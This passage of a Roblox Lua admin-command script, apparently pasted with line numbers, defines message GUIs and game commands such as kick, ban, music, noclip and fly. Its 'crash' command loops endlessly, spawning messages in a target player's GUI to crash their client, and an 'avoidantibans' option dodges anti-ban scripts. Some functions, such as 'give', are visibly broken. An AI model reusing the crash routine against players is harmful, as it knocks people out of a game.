  1699.                 if i:IsA("PlayerGui") then
  1700.                     pgui = i
  1701.                 end
  1702.             end
  1703.         end
  1704.         if not pgui:FindFirstChild("Admi") or not pgui:FindFirstChild("Admi"):FindFirstChild("Msg") then
  1705.             MakeMsgGui(player)
  1706.         end
  1707.         --[[if not pgui:FindFirstChild("Admi"):IsA("ScreenGui") or not message:IsA("Frame") or not message.Msg:IsA("TextLabel") or not message.Title:IsA("TextLabel") then
  1708.             MakeMsgGui(player)
  1709.         end]]
  1710.         local message = player:WaitForChild("PlayerGui"):FindFirstChild("Admi"):FindFirstChild("Msg")
  1711.         if title == nil then
  1712.             title = "Message"
  1713.         end
  1714.         if text == nil then
  1715.             text = title
  1716.             title = "Message"
  1717.         end
  1718.         message.Title.Text = "[ Content Deleted ]"
  1719.         message.Msg.Text = "[ Content Deleted ]"
  1720.         message.Title.Text = tostring(title)
  1721.         message.Msg.Text = tostring(text)
  1722.         message.Position = UDim2.new(0.5,-125,0.5,-75)
  1723.         message.Size = UDim2.new(0,250,0,150)
  1724.         TweenTextTransparency(message.Title,1,0,tweentime*0.65)
  1725.         TweenTextTransparency(message.Msg,1,0,tweentime*0.65)
  1726.         TweenBackgroundTransparency(message,1,0.45,tweentime*0.5)
  1727.         wait()
  1728.         message:TweenSizeAndPosition(UDim2.new(0,500,0,300),UDim2.new(0.5,-250,0.5,-150),nil,"Quint",tweentime,true,function()end)
  1729.         message.Visible = true
  1730.         wait(tweentime)
  1731.         if displaytime ~= nil then
  1732.             Delay(displaytime,function()if message.Msg.Text == tostring(text)then DismissMessage(player)end end)
  1733.         end
  1734.     end)
  1735. end
  1736.  
  1737. function DisplayMessageAll(title,text,displaytime)
  1738.     for _,i in pairs(Players:GetPlayers()) do
  1739.         DisplayMessage(i,title,text,displaytime)
  1740.     end
  1741. end
  1742.  
  1743. function DismissMessageAll()
  1744.     for _,i in pairs(Players:GetPlayers()) do
  1745.         DismissMessage(i)
  1746.     end
  1747. end
  1748.    
  1749. function DismissMessage(player)
  1750.     if player == root or player == "root" then
  1751.         return
  1752.     end
  1753.     if not player:WaitForChild("PlayerGui"):FindFirstChild("Admi") or not player:WaitForChild("PlayerGui"):FindFirstChild("Admi"):FindFirstChild("Msg") then
  1754.         MakeMsgGui(player)
  1755.     end
  1756.     local message = player:WaitForChild("PlayerGui"):FindFirstChild("Admi"):FindFirstChild("Msg")
  1757.     TweenBackgroundTransparency(message,0.45,1,tweentime*0.5)
  1758.     TweenTextTransparency(message.Title,0,1,tweentime*0.22)
  1759.     TweenTextTransparency(message.Msg,0,1,tweentime*0.22)
  1760.     message:TweenSizeAndPosition(UDim2.new(0,0,0,0),--[[UDim2.new(0,250,0,150),UDim2.new(0.5,-125,0.5,-75)]]UDim2.new(0.5,0,0.5,0),nil,"Quint",tweentime*2.5,true,function()message.Visible = false end)
  1761. end
  1762.  
  1763. function MakeAdmiGui(parent)
  1764.     if parent == "root" or parent == root then
  1765.         return
  1766.     end
  1767.     local Gui = Instance.new("ScreenGui",parent)
  1768.     Gui.Name = "Admi"
  1769.     return Gui
  1770. end
  1771.  
  1772. function MakeTellGui(parent)
  1773.     if parent == "root" or parent == root then
  1774.         return
  1775.     end
  1776.     local Gui = parent:FindFirstChild("Admi")
  1777.     if not Gui then
  1778.         Gui = MakeAdmiGui(parent)
  1779.     end
  1780.     local Bar = Instance.new("TextLabel",Gui)
  1781.     Bar.Name = "Message"
  1782.     Bar.BackgroundColor3 = Color3.new(0,0,0)
  1783.     Bar.BackgroundTransparency = 0.35
  1784.     Bar.BorderSizePixel = 0
  1785.     Bar.Font = "ArialBold"
  1786.     Bar.FontSize = "Size18"
  1787.     Bar.Text = "Message"
  1788.     Bar.TextStrokeTransparency = 0.5
  1789.     Bar.TextColor3 = Color3.new(1,1,1)
  1790.     Bar.Size = UDim2.new(1,0,0,30)
  1791.     Bar.Position = UDim2.new(0,0,0,-30)
  1792.     return Gui
  1793. end
  1794.  
  1795. function Tell(player,msg,length)
  1796.     if player == "root" or player == root then
  1797.         return
  1798.     end
  1799.     local length = length
  1800.     if length == nil then
  1801.         length = 3
  1802.     end
  1803.     local PlayerGui = player:WaitForChild("PlayerGui")
  1804.     if not PlayerGui:FindFirstChild("Admi") or not PlayerGui:FindFirstChild("Admi"):FindFirstChild("Message") then
  1805.         MakeTellGui(PlayerGui)
  1806.     end
  1807.     PlayerGui:FindFirstChild("Admi"):FindFirstChild("Message").Text = msg
  1808.     PlayerGui:FindFirstChild("Admi"):FindFirstChild("Message").Position = UDim2.new(0,0,0,-30)
  1809.     PlayerGui:FindFirstChild("Admi"):FindFirstChild("Message"):TweenPosition(UDim2.new(0,0,0,0),nil,tweenstyle,tweentime,true)
  1810.     Delay(length,function()
  1811.         if PlayerGui:FindFirstChild("Admi"):FindFirstChild("Message").Text == msg then
  1812.             PlayerGui:FindFirstChild("Admi"):FindFirstChild("Message"):TweenPosition(UDim2.new(0,0,0,-30),nil,tweenstyle,tweentime,true)
  1813.         end
  1814.     end)
  1815. end
  1816.  
  1817. function TellAll(msg,length)
  1818.     for _,i in pairs(Players:GetPlayers()) do
  1819.         Tell(i,msg,length)
  1820.     end
  1821. end
  1822.  
  1823. function TellAdmins(msg,length)
  1824.     for _,i in pairs(Players:GetPlayers()) do
  1825.         if Permissions[i.Name] and Permissions[i.Name] > 0 then
  1826.             Tell(i,msg,length)
  1827.         end
  1828.     end
  1829. end
  1830.  
  1831. rawunpack = unpack
  1832.  
  1833. function unpack(oldtab)
  1834.     assert(oldtab,"u wot m8")
  1835.     local new = ""
  1836.     local tab = {}
  1837.     for i = 1, #oldtab do
  1838.         table.insert(tab,tostring(oldtab[i]))
  1839.     end
  1840.     table.sort(tab)
  1841.     for i = 1, #tab do
  1842.         new = new..tostring(tab[i])..", "
  1843.     end
  1844.     new = new:sub(1,#new-2)
  1845.     return new
  1846. end
  1847.  
  1848. function stringtobool(str)
  1849.     if str:lower() == "yes" or str:lower() == "on" or str:lower() == "ye" or str:lower() == "yea" or str:lower() == "yeah" or str:lower() == "yep" or str == "true" then
  1850.         return true
  1851.     elseif str:lower() == "no" or str:lower() == "off" or str:lower() == "nop" or str:lower() == "nope" or str:lower() == "nah" or str:lower() == "na" or str:lower() == "false" then
  1852.         return false
  1853.     end
  1854. end
  1855.  
  1856. setmetatable(Commands,{
  1857.     __index = function(table,index)
  1858.         if not rawget(table,index) then
  1859.             error("The system tried to retrieve Commands."..tostring(index)..", which does not exist in this admin script. Most likely the game creator has misconfigured their admin commands.") --next time don't break any links :)
  1860.         end
  1861.     end;
  1862.     __gc = function()
  1863.         error("OH NO I'M BEING GARBAGE COLLECTED\nTHIS ISN'T GOOD\nAAAAAAAAAAAAAAAA HELP ME MOMMY")
  1864.     end;
  1865.     __metatable = true;
  1866. })
  1867.  
  1868. --------------------------------------------------------------------
  1869. ----------------------------- Commands -----------------------------
  1870. --------------------------------------------------------------------
  1871.  
  1872. function Commands.m(args,sender)
  1873.     MinimumPermission(1,sender)
  1874.     local buildstring = ""
  1875.    
  1876.     for _,i in pairs(args) do
  1877.         buildstring = buildstring..i.." "
  1878.     end
  1879.     buildstring = buildstring:sub(1,#buildstring-1)
  1880.     DisplayMessageAll((sender ~= root and sender ~= "root") and sender.Name or "SYSTEM",buildstring,6)
  1881. end
  1882.  
  1883. function Commands.pm(args,sender)
  1884.     MinimumPermission(1,sender)
  1885.     local plr = GetPlayersFromString(assert(args[1],"Player to PM missing"),sender)
  1886.     local buildstring = ""
  1887.    
  1888.     for a,i in pairs(args) do
  1889.         if a ~= 1 then
  1890.             buildstring = buildstring..i.." "
  1891.         end
  1892.     end
  1893.    
  1894.     buildstring = buildstring:sub(1,#buildstring-1)
  1895.     for _,i in pairs(plr) do
  1896.         DisplayMessage(i,((sender ~= root and sender ~= "root") and sender.Name or "SYSTEM"),buildstring,6)
  1897.     end
  1898. end
  1899.  
  1900. function Commands.sm(args,sender)
  1901.     MinimumPermission(2,sender)
  1902.     local buildstring = ""
  1903.    
  1904.     for _,i in pairs(args) do
  1905.         buildstring = buildstring..i.." "
  1906.     end
  1907.    
  1908.     buildstring = buildstring:sub(1,#buildstring-1)
  1909.     DisplayMessageAll("SYSTEM",buildstring,6)
  1910. end
  1911.  
  1912. function Commands.h(args,sender)
  1913.     MinimumPermission(1,sender)
  1914.     local buildstring = ""
  1915.    
  1916.     for _,i in pairs(args) do
  1917.         buildstring = buildstring..i.." "
  1918.     end
  1919.    
  1920.     buildstring = buildstring:sub(1,#buildstring-1)
  1921.     TellAll(((sender ~= root and sender ~= "root") and sender.Name or "SYSTEM")..": "..buildstring,6)
  1922. end
  1923.  
  1924.  
  1925. function Commands.loop(args,sender)
  1926.     MinimumPermission(1,sender)
  1927.     local timing = assert(tonumber(args[1]),"Timing missing or invalid number")
  1928.     local cmd = assert(args[2],"Missing command to loop")
  1929.    
  1930.     if cmd:lower() == "loop" then
  1931.         error("Why the hell do you want to loop the loop command? Just use a small Timing.")
  1932.     end
  1933.  
  1934.     assert(args[2],"Missing command to loop")
  1935.  
  1936.     local docmd = assert(rawget(Commands,args[2]),"The command requested doesn't exist in this admin commands. Check your spelling. If this command is typically in "..string["r".."ev".."er".."se"]("s'321naloDnayR").." Admin Commands, contact the game creator ("..GetPlaceOwner()..") for details.")
  1937.    
  1938.     local newargs = {}
  1939.    
  1940.     for i = 3,#args do
  1941.         newargs[i-2] = args[i]
  1942.     end
  1943.    
  1944.     Spawn(function()
  1945.         while wait(timing) and not stoploops do
  1946.             ypcall(function()
  1947.                 docmd(newargs,sender)
  1948.             end)
  1949.         end
  1950.     end)
  1951.    
  1952.     Tell(sender,"Looping "..cmd.." every "..timing.." seconds!")
  1953. end
  1954.  
  1955. function Commands.stoploops(args,sender)
  1956.     MinimumPermission(1,sender)
  1957.    
  1958.     Tell(sender,"Stopping loops, please wait...")
  1959.    
  1960.     stoploops = true
  1961.     wait(5)
  1962.     stoploops = false
  1963.    
  1964.     Tell(sender,"Stopped loops!")
  1965. end
  1966.  
  1967. function Commands.music(args,sender)
  1968.     MinimumPermission(1,sender)
  1969.    
  1970.     local music = tonumber(args[1])
  1971.    
  1972.     while Workspace:FindFirstChild("AdmiMusic") do
  1973.         Workspace:FindFirstChild("AdmiMusic"):Stop()
  1974.         Workspace:FindFirstChild("AdmiMusic"):Destroy()
  1975.     end
  1976.    
  1977.     if args[1] == "stop" then
  1978.         TellAll("Music Stopped",3)
  1979.         return
  1980.     else
  1981.         assert(music,"Music argument missing or not a proper number")
  1982.     end
  1983.    
  1984.     Tell(sender,"Attempting to Play Song "..music,2)
  1985.    
  1986.     local Songname = "Unable to fetch name ("..music..")"
  1987.    
  1988.     local ok,err = ypcall(function()
  1989.         Songname = MarketplaceService:GetProductInfo(music)["Name"]
  1990.     end)
  1991.    
  1992.     local sound = Instance.new("Sound")
  1993.     sound.SoundId = "http://www.roblox.com/asset/?id="..music
  1994.     sound.Looped = true
  1995.     sound.Volume = 1
  1996.     sound.Pitch = 1
  1997.     sound.Name = "AdmiMusic"
  1998.     sound.Parent = Workspace
  1999.     if not sound.IsPlaying then
  2000.         repeat
  2001.             sound:Play()
  2002.             wait(0.25)
  2003.             sound:Stop()
  2004.             wait(0.25)
  2005.             sound:Play()
  2006.         until sound.IsPlaying
  2007.     end
  2008.    
  2009.     TellAll("Now Playing - "..tostring(Songname),3)
  2010. end
  2011.  
  2012. function Commands.hat(args,sender)
  2013.     MinimumPermission(1,sender)
  2014.     assert(tonumber(args[2]),"Hat to give is missing or is not a number")
  2015.     assert(args[1],"Players to give hats to are missing")
  2016.    
  2017.     local Plrs = GetPlayersFromString(args[1],sender)
  2018.    
  2019.    
  2020.     local Hats = InsertService:LoadAsset(tonumber(args[2]))
  2021.     if Hats == nil then
  2022.         error("Invalid hat")
  2023.     end
  2024.     for _,i in pairs(Plrs) do
  2025.         for _,Hat in pairs(Hats:GetChildren()) do
  2026.             if Hat:IsA("Hat") then
  2027.                 Hat:Clone().Parent = i.Character
  2028.             end
  2029.         end
  2030.     end
  2031.     Hats:Destroy()
  2032.    
  2033.     local Hatname = args[2]
  2034.    
  2035.     ypcall(function()
  2036.         Hatname = MarketplaceService:GetProductInfo(tonumber(args[2]))["Name"]
  2037.     end)
  2038.    
  2039.     Tell(sender,"Gave hat "..tostring(Hatname).." to "..tostring(unpack(Plrs)))
  2040. end
  2041.  
  2042. function Commands.gear(args,sender)
  2043.     MinimumPermission(1,sender)
  2044.     assert(tonumber(args[2]),"Gear to give is missing or is not a number")
  2045.     assert(args[1],"Players to give gear to are missing")
  2046.    
  2047.     local Plrs = GetPlayersFromString(args[1],sender)
  2048.    
  2049.    
  2050.     local Gears = InsertService:LoadAsset(tonumber(args[2]))
  2051.     if Gears == nil then
  2052.         error("Invalid gear")
  2053.     end
  2054.     for _,i in pairs(Plrs) do
  2055.         if i:FindFirstChild("Backpack") then
  2056.             for _,Gear in pairs(Gears:GetChildren()) do
  2057.                 if Gear:IsA("Tool") or Gear:IsA("HopperBin") then
  2058.                     Gear:Clone().Parent = i.Backpack
  2059.                 end
  2060.             end
  2061.         end
  2062.     end
  2063.     Gears:Destroy()
  2064.    
  2065.     local gearname = args[2]
  2066.    
  2067.     ypcall(function()
  2068.         gearname = MarketplaceService:GetProductInfo(tonumber(args[2]))["Name"]
  2069.     end)
  2070.    
  2071.     if args[2] ~= 125013769 then
  2072.         Tell(sender,"Gave gear "..tostring(gearname).." to "..tostring(unpack(Plrs)))
  2073.     else
  2074.         Tell(sender,"Sworded "..tostring(unpack(Plrs)))
  2075.     end
  2076. end
  2077.  
  2078. function Commands.sword(args,sender)
  2079.     Commands.gear({args[1],125013769},sender)
  2080. end
  2081.  
  2082. function Commands.give(args,sender)
  2083.     MinimumPermission(1,sender)
  2084.     assert(tonumber(args[2]),"Tool to give is missing")
  2085.     assert(args[1],"Players to give to are missing")
  2086.    
  2087.     local Plrs = GetPlayersFromString(args[1],sender)
  2088.    
  2089.    
  2090.     local Gear = {}
  2091.    
  2092.     for _,i in pairs(ReplicatedStorage:GetChildren()) do
  2093.         if i:IsA("Tool") or i:IsA("HopperBin") then
  2094.             table.insert(Gear,i)
  2095.         end
  2096.     end
  2097.    
  2098.     for _,i in pairs(Lighting:GetChildren()) do
  2099.         if i:IsA("Tool") or i:IsA("HopperBin") then
  2100.             table.insert(Gear,i)
  2101.         end
  2102.     end
  2103.    
  2104.     for _,i in pairs(ServerStorage:GetChildren()) do
  2105.         if i:IsA("Tool") or i:IsA("HopperBin") then
  2106.             table.insert(Gear,i)
  2107.         end
  2108.     end
  2109.        
  2110.     for _,i in pairs(Plrs) do
  2111.         if i:FindFirstChild("Backpack") then
  2112.             for _,Gear in pairs(Gears) do
  2113.                 if Gear:IsA("Tool") or Gear:IsA("HopperBin") then
  2114.                     Gear:Clone().Parent = i.Backpack
  2115.                 end
  2116.             end
  2117.         end
  2118.     end
  2119.     Gears:Destroy()
  2120.    
  2121.     local gearname = args[2]
  2122.    
  2123.     ypcall(function()
  2124.         gearname = MarketplaceService:GetProductInfo(tonumber(args[2]))["Name"]
  2125.     end)
  2126.    
  2127.     Tell(sender,"Gave gear "..tostring(gearname).." to "..tostring(unpack(Plrs)))
  2128. end
  2129.  
  2130. function Commands.countdown(args,sender)
  2131.     MinimumPermission(1,sender)
  2132.    
  2133.     local tme = assert(tonumber(args[1]),"Countdown time missing or not a number")
  2134.     local msg = ""
  2135.    
  2136.     for _,i in ipairs(args) do
  2137.         if _ > 1 then
  2138.             msg = msg..tostring(i).." "
  2139.         end
  2140.     end
  2141.    
  2142.     for i = tme, 1, -1 do
  2143.         DisplayMessageAll("Countdown",((msg and msg.."\n\n") or "")..i,3)
  2144.         wait(1)
  2145.     end
  2146.     DismissMessageAll()
  2147. end
  2148.  
  2149. function Commands.hcountdown(args,sender)
  2150.     MinimumPermission(1,sender)
  2151.    
  2152.     local tme = assert(tonumber(args[1]),"Countdown time missing or not a number")
  2153.     local msg = ""
  2154.    
  2155.     for _,i in ipairs(args) do
  2156.         if _ > 1 then
  2157.             msg = msg..tostring(i).." "
  2158.         end
  2159.     end
  2160.    
  2161.     for i = tme, 1, -1 do
  2162.         TellAll(((msg and msg.." ") or "")..i,1.15)
  2163.         wait(1)
  2164.     end
  2165. end
  2166.  
  2167. function Commands.globalshadows(...)
  2168.     Commands.gshadows(...)
  2169. end
  2170.  
  2171. function Commands.colorshiftbottom(args,sender)
  2172.     MinimumPermission(1,sender)
  2173.     Lighting.ColorShift_Bottom = StringsToRGB(args[1],args[2],args[3])
  2174.     Tell(sender,"Changed ColorShift_Bottom to ",args[1]..", "..args[2]..", "..args[3])
  2175. end
  2176.  
  2177. function Commands.colorshifttop(args,sender)
  2178.     MinimumPermission(1,sender)
  2179.     Lighting.ColorShift_Top = StringsToRGB(args[1],args[2],args[3])
  2180.     Tell(sender,"Changed ColorShift_Top to ",args[1]..", "..args[2]..", "..args[3])
  2181. end
  2182.  
  2183. function Commands.disco(args,sender)
  2184.     MinimumPermission(1,sender)
  2185.     Tell(sender,"Turned on Disco!")
  2186.     local oldambient = Lighting.Ambient
  2187.     while wait(0.1) and not StopDisco do
  2188.         Lighting.Ambient = Color3.new(math.random(),math.random(),math.random())
  2189.     end
  2190.     Lighting.Ambient = oldambient
  2191. end
  2192.  
  2193. function Commands.undisco(args,sender)
  2194.     MinimumPermission(1,sender)
  2195.     Tell(sender,"Turned off Disco!")
  2196.     StopDisco = true
  2197.     wait(1)
  2198.     StopDisco = false
  2199. end
  2200.  
  2201. function Commands.ambient(args,sender)
  2202.     MinimumPermission(1,sender)
  2203.     Lighting.Ambient = StringsToRGB(args[1],args[2],args[3])
  2204.     Tell(sender,"Changed Ambient to ",args[1]..", "..args[2]..", "..args[3])
  2205. end
  2206.  
  2207. function Commands.shadowcolor(args,sender)
  2208.     MinimumPermission(1,sender)
  2209.     Lighting.ShadowColor = StringsToRGB(args[1],args[2],args[3])
  2210.     Tell(sender,"Changed ShadowColor to ",args[1]..", "..args[2]..", "..args[3])
  2211. end
  2212.  
  2213. function Commands.outdoorambient(args,sender)
  2214.     MinimumPermission(1,sender)
  2215.     Lighting.OutdoorAmbient = StringsToRGB(args[1],args[2],args[3])
  2216.     Tell(sender,"Changed OutdoorAmbient to ",args[1]..", "..args[2]..", "..args[3])
  2217. end
  2218.  
  2219. function Commands.brightness(args,sender)
  2220.     MinimumPermission(1,sender)
  2221.     Lighting.Brightness = assert(tonumber(args[1]),"Brightness missing or not a valid number")
  2222.     Tell(sender,"Changed Brightness to "..args[1])
  2223. end
  2224.  
  2225. function Commands.kick(args,sender)
  2226.     MinimumPermission(2,sender)
  2227.     assert(args[1],"Player to kick is missing")
  2228.     local banned = GetPlayersFromString(args[1],sender)
  2229.    
  2230.     for _,i in pairs(banned) do
  2231.         if avoidantibans then
  2232.             Instance.new("Model",Players).Name = i.Name
  2233.         end
  2234.         i:Kick()
  2235.     end
  2236.    
  2237.     Tell(sender,"Kicked "..tostring(unpack(banned))..".",3)
  2238. end
  2239.  
  2240. function Commands.name(args,sender)
  2241.     MinimumPermission(1,sender)
  2242.    
  2243.     assert(args[1],"Player to rename missing")
  2244.    
  2245.     local NewName = ""
  2246.    
  2247.     for a,i in ipairs(args) do
  2248.         if a > 1 then
  2249.             NewName = NewName..i.." "
  2250.         end
  2251.     end
  2252.    
  2253.     local Players = GetPlayersFromString(args[1],sender)
  2254.    
  2255.     for _,i in pairs(Players) do
  2256.         if i.Character and i.Character:FindFirstChild("Humanoid") and i.Character:FindFirstChild("Head") then
  2257.             for _,i in pairs(i.Character:GetChildren()) do
  2258.                 if i:IsA("Model") and i:FindFirstChild("NameChange") and i:FindFirstChild("Head") then
  2259.                     i:Destroy()
  2260.                 end
  2261.             end
  2262.            
  2263.             local NameModel = Instance.new("Model",i.Character)
  2264.             NameModel.Name = NewName
  2265.            
  2266.             local FakeHead = i.Character.Head:Clone()
  2267.             FakeHead.Parent = NameModel
  2268.             FakeHead.Transparency = 0
  2269.            
  2270.             local NCHumanoid = Instance.new("Humanoid", NameModel)
  2271.             NCHumanoid.Name = "NameChange"
  2272.             NCHumanoid.MaxHealth = 0
  2273.             NCHumanoid.Health = 0
  2274.            
  2275.             local Weld = Instance.new("Weld", FakeHead)
  2276.             Weld.Part0 = FakeHead
  2277.             Weld.Part1 = i.Character.Head
  2278.            
  2279.             i.Character:FindFirstChild("Head").Transparency = 1
  2280.        
  2281.         end
  2282.     end
  2283.    
  2284.     Tell(sender,"Renamed "..tostring(unpack(Players)).." to "..NewName..".",3)
  2285.  
  2286. end
  2287.  
  2288. function Commands.rename(...)
  2289.     Commands.name(...)
  2290. end
  2291.  
  2292. function Commands.unname(args,sender)
  2293.     MinimumPermission(1,sender)
  2294.    
  2295.     assert(args[1],"Player to unname missing")
  2296.    
  2297.     local Players = GetPlayersFromString(args[1])
  2298.    
  2299.     for _,i in pairs(Players) do
  2300.         if i.Character and i.Character:FindFirstChild("Head") then
  2301.             for _,i in pairs(i.Character:GetChildren()) do
  2302.                 if i:IsA("Model") and i:FindFirstChild("NameChange") and i:FindFirstChild("Head") then
  2303.                     i:Destroy()
  2304.                 end
  2305.             end
  2306.             i.Character:FindFirstChild("Head").Transparency = 0
  2307.         end
  2308.     end
  2309.    
  2310.     Tell(sender,"Unnamed "..tostring(unpack(Players)),3)
  2311.  
  2312. end
  2313.  
  2314. --[[
  2315. function Commands.kicknilplayers(args,sender)
  2316.     MinimumPermission(2,sender)
  2317.    
  2318.     for _,i in pairs(AllPlayers) do
  2319.         ypcall(function()
  2320.             if i.Parent ~= Players then
  2321.                 i:Kick()
  2322.             end
  2323.         end)
  2324.     end
  2325.    
  2326.     if NetworkServer then
  2327.         for _,i in pairs(NetworkServer:GetChildren()) do
  2328.             ypcall(function()
  2329.                 if i:IsA("NetworkReplicator") then
  2330.                     if i:GetPlayer() and i:GetPlayer().Parent == nil then
  2331.                         i:GetPlayer():Kick()
  2332.                     end
  2333.                 end
  2334.             end)
  2335.         end
  2336.     end
  2337.    
  2338.     Tell(sender,"Tried to kick all nil players!",6)
  2339. end]] --doesn't even work, no point in existence
  2340.  
  2341. function Commands.ban(args,sender)
  2342.     MinimumPermission(2,sender)
  2343.     assert(args[1],"Player to ban is missing")
  2344.     local banned = GetPlayersFromString(args[1],sender)
  2345.    
  2346.     for _,i in pairs(banned) do
  2347.         table.insert(BannedPlayers,i.Name)
  2348.         if avoidantibans then
  2349.             Instance.new("Model",Players).Name = i.Name
  2350.         end
  2351.         i:Kick()
  2352.     end
  2353.    
  2354.     Tell(sender,"Banned "..tostring(unpack(banned))..".",3)
  2355. end
  2356.  
  2357. function Commands.crash(args,sender)
  2358.     MinimumPermission(2,sender)
  2359.     assert(args[1],"Player to ban is missing")
  2360.     local banned = GetPlayersFromString(args[1],sender)
  2361.    
  2362.     Tell(sender,"Crashing "..tostring(unpack(banned))..".",3)
  2363.    
  2364.     while wait() do
  2365.         for _,i in pairs(banned) do
  2366.             pcall(function()
  2367.                 for _,a in pairs(i:GetChildren()) do
  2368.                     if a:IsA("PlayerGui") then
  2369.                         while wait() do
  2370.                             for b = 1, 50 do
  2371.                                 Instance.new("Message",a).Text = "bye"
  2372.                             end
  2373.                         end
  2374.                     end
  2375.                 end
  2376.             end)
  2377.         end
  2378.     end
  2379.    
  2380. end
  2381.  
  2382. function Commands.noclip(args,sender)
  2383.     MinimumPermission(1,sender)
  2384.     assert(args[1],"Player to noclip is missing")
  2385.     local flyme = GetPlayersFromString(args[1],sender)
  2386.     for _,i in pairs(flyme) do
  2387.         MakeLocalScript([[
  2388.             local Player = game.Players.LocalPlayer
  2389.             local Mouse = Player:GetMouse()
  2390.             local Character = Player.Character
  2391.             local Humanoid = Character:FindFirstChild("Humanoid")
  2392.             local Torso = Character:WaitForChild("Torso")
  2393.             local Camera = Workspace.CurrentCamera
  2394.             local Move = {W = 0, S = 0, A = 0, D = 0}
  2395.             local Speed = 2
  2396.            
  2397.             Instance.new("StringValue",script).Name = "DO_NOT_REENABLE"        
  2398.            
  2399.             script.Parent = Player:FindFirstChild("PlayerGui")
  2400.             script.Name = "ADMIN_NOCLIP_SCRIPT"
  2401.            
  2402.             Mouse.KeyDown:connect(function(key)
  2403.                 if key:lower() == "w" then
  2404.                     Move.W = 1
  2405.                 elseif key:lower() == "s" then
  2406.                     Move.S = 1
  2407.                 elseif key:lower() == "a" then
  2408.                     Move.A = 1
  2409.                 elseif key:lower() == "d" then
  2410.                     Move.D = 1
  2411.                 elseif key:lower() == "q" then
  2412.                     Speed = Speed + 1
  2413.                 elseif key:lower() == "e" then
  2414.                     Speed = Speed - 1
  2415.                 end
  2416.             end)
  2417.            
  2418.             Mouse.KeyUp:connect(function(key)
  2419.                 if key:lower() == "w" then
  2420.                     Move.W = 0
  2421.                 elseif key:lower() == "s" then
  2422.                     Move.S = 0
  2423.                 elseif key:lower() == "a" then
  2424.                     Move.A = 0
  2425.                 elseif key:lower() == "d" then
  2426.                     Move.D = 0
  2427.                 end
  2428.             end)
  2429.            
  2430.             Torso.Anchored = true
  2431.             Humanoid.PlatformStand = true
  2432.            
  2433.             local eventt = Humanoid.Changed:connect(function()
  2434.                 Humanoid.PlatformStand = true
  2435.             end)
  2436.            
  2437.             local event = game:GetService("RunService").RenderStepped:connect(function()
  2438.                 Torso.CFrame = CFrame.new(
  2439.                     Torso.Position,
  2440.                     Camera.CoordinateFrame.p) *
  2441.                     CFrame.Angles(0, math.rad(180), 0) *
  2442.                     CFrame.new((Move.D - Move.A) *
  2443.                     Speed,
  2444.                     0,
  2445.                     (Move.S - Move.W) *
  2446.                     Speed
  2447.                 )
  2448.             end)
  2449.            
  2450.             repeat wait(0.25) until not script.Parent
  2451.            
  2452.             event:disconnect()
  2453.             eventt:disconnect()]],
  2454.         i:FindFirstChild("PlayerGui"),true)
  2455.     end
  2456.    
  2457.     Tell(sender,"Noclipped "..tostring(unpack(flyme))..".",3)
  2458. end
  2459.  
  2460. function Commands.autoexecuterespawn(args,sender)
  2461.     MinimumPermission(2,sender)
  2462.     local build = ""
  2463.     for _,i in pairs(args) do
  2464.         build = build..i.." "
  2465.     end
  2466.     build = build:sub(1,#build-1):gsub("%[playername%]","%[PlayerName%]")
  2467.    
  2468.     AutoExecuteRespawn = ""
  2469.     for i in build:lower():gmatch("[^;]+") do
  2470.         AutoExecuteRespawn = AutoExecuteRespawn..i.."\n"
  2471.     end
  2472.    
  2473.     Tell(sender,"Changed AutoExecuteRespawn!")
  2474. end
  2475.  
  2476. function Commands.commandscript(args,sender)
  2477.     MinimumPermission(2,sender)
  2478.     local build = ""
  2479.     for _,i in ipairs(args) do
  2480.         build = build..i.." "
  2481.     end
  2482.     build = build:sub(1,#build-1):gsub("%[playername%]","%[PlayerName%]")
  2483.    
  2484.     Tell(sender,"Running CommandScript!...")
  2485.    
  2486.     CmdScriptBuild = ""
  2487.     for i in build:lower():gmatch("[^;]+") do
  2488.         Chatted(root,i)
  2489.     end
  2490.    
  2491.     Tell(sender,"Ran CommandScript!")
  2492. end
  2493.  
  2494. function Commands.fly(args,sender)
  2495.     MinimumPermission(1,sender)
  2496.     assert(args[1],"Player to fly is missing")
  2497.     local flyme = GetPlayersFromString(args[1],sender)
  2498.     for _,i in pairs(flyme) do
  2499.         MakeLocalScript([[
  2500.             local Player = game:GetService("Players").LocalPlayer
  2501.             local Mouse = Player:GetMouse()
  2502.             local Torso = Player.Character:WaitForChild("Torso")
  2503.             local Humanoid = Player.Character:WaitForChild("Humanoid")
  2504.             local Flying = true
  2505.             local Control = {f = 0, b = 0, l = 0, r = 0}
  2506.             local LastControl = {f = 0, b = 0, l = 0, r = 0}
  2507.             local MaxSpeed = 50
  2508.             local Speed = 0
  2509.             local Camera = Workspace.CurrentCamera
  2510.            
  2511.             local FlySmoke = Instance.new("Smoke",Torso)
  2512.             FlySmoke.Name = "FlySmoke"
  2513.             FlySmoke.Opacity = 0.08
  2514.             FlySmoke.Size = 25
  2515.            
  2516.             Instance.new("StringValue",script).Name = "DO_NOT_REENABLE"        
  2517.            
  2518.             script.Parent = Player:FindFirstChild("PlayerGui")
  2519.             script.Name = "ADMIN_FLY_SCRIPT"
  2520.            
  2521.             function Fly()
  2522.                 local Gyro = Instance.new("BodyGyro", Torso)
  2523.                 Gyro.P = 9e4
  2524.                 Gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  2525.                 Gyro.cframe = Torso.CFrame --why is cframe in lowercase for BodyGyros
  2526.                
  2527.                 local Velocity = Instance.new("BodyVelocity", Torso)
  2528.                 Velocity.velocity = Vector3.new(0,0.1,0) --roblox why is velocity lowercase
  2529.                 Velocity.maxForce = Vector3.new(9e9, 9e9, 9e9)
  2530.                
  2531.                 repeat
  2532.                     wait()
  2533.                    
  2534.                     Humanoid.PlatformStand = true
  2535.                    
  2536.                     if Control.l + Control.r + Control.f + Control.b > 0 then
  2537.                         FlySmoke.Enabled = true
  2538.                     else
  2539.                         FlySmoke.Enabled = false
  2540.                     end
  2541.                    
  2542.                     if Control.l + Control.r ~= 0 or Control.f + Control.b ~= 0 then
  2543.                    
  2544.                         Speed = Speed+.5+(Speed/MaxSpeed)
  2545.                        
  2546.                         if Speed > MaxSpeed then
  2547.                             Speed = MaxSpeed
  2548.                         end
  2549.                     elseif not (Control.l + Control.r ~= 0 or Control.f + Control.b ~= 0) and Speed ~= 0 then
  2550.                         Speed = Speed-1
  2551.                         if Speed < 0 then
  2552.                             Speed = 0
  2553.                         end
  2554.                     end
  2555.                        
  2556.                     if (Control.l + Control.r) ~= 0 or (Control.f + Control.b) ~= 0 then
  2557.                    
  2558.                         Velocity.velocity =
  2559.                             ((Camera.CoordinateFrame.lookVector * (Control.f + Control.b)) +
